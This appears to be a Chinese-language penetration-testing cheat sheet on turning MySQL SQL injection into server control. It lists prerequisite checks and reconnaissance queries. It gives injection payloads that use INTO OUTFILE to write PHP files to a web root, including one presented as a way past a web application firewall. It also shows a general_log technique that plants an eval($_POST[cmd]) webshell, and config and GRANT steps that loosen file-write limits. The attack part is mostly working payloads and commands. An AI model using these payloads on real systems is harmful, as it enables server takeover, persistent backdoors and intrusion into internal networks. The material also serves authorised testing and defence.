后端 MySQL 情况下扩大SQL注入的影响 获取 webshell

关键字

MySQL SQLi SQL注入 webshell getshell

参考资料

From SQL Injection to WebShell
https://community.rsa.com/community/products/netwitness/blog/2017/04/10/from-sql-injection-to-webshell

【SQL注入】mysql limit 注入
http://vinc.top/2017/04/01/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql-limit-%E6%B3%A8%E5%85%A5/

MySQL注入两种写Webshell的方法
http://lu4n.com/mysql-sqli-write-webshell-two-methods/

phpMyAdmin新姿势getshell (基于日志写webshell)
https://zhuanlan.zhihu.com/p/25957366

dump时 利用DNS回传数据(而非HTTP)
MySQL Out-of-Band Hacking
https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/

前言

SQL注入 (SQLi) 的危害不仅限于数据库被导出,在特定配置下,攻击者可以通过SQL注入来上传文件,然后通过webshell来控制服务器。在使用webshell控制服务器后,攻击者可以提权,对服务器安装rootkit进行持久控制,并且以该服务器为跳板进行内网渗透。

写webshell的思路

可以写shell的几个前置条件

  1. root权限
  2. GPC关闭(能使用单引号)
  3. 有绝对路径(读文件可以不用,写文件必须)
  4. 没有配置 –secure-file-priv

判断前置条件是否满足

使用 SQL shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
select version();
select @@version;
select current_user();
select user();
select database();
select @@version_compile_os;
select @@basedir;
# 默认值 5.7.20-0ubuntu0.16.04.1 /usr/
select @@datadir;
# 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql/
select @@plugin_dir;
# 默认值 5.7.20-0ubuntu0.16.04.1 /usr/lib/mysql/plugin/
select @@secure_file_priv
# 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql-files/
SHOW VARIABLES LIKE "secure_file_priv";
SELECT @@global.secure_file_priv;
show variables like '%general%';

方案1:利用outfile

1
2
3
4
5
# UNION
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>' into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php'%23
# No UNION 过狗时有用
id=2) into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php' fields terminated by '<? phpinfo(); ?>'%23

这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列

方案2:利用log写webshell

1
2
3
set global general_log = on; # 开启general log模式
set global general_log_file = '/var/www/html/1.php'; # 设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>' # 写入shell

修改 secure-file-priv 的配置

secure-file-priv这个全局变量是指定文件夹作为导出文件存放的路径

Windows

修改 my.ini ,之后重启 mysql 服务。

1
2
[mysqld]
secure-file-priv = ""

潜在的路径

1
D:\phpStudy\MySQL\my.ini

Linux

修改 my.cnf ,之后重启 mysql 服务。

1
2
[mysqld]
secure-file-priv = ""

潜在的路径

1
2
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/my.cnf

其他速记

1
2
GRANT FILE ON *.* TO root@localhost;
FLUSH PRIVILEGES;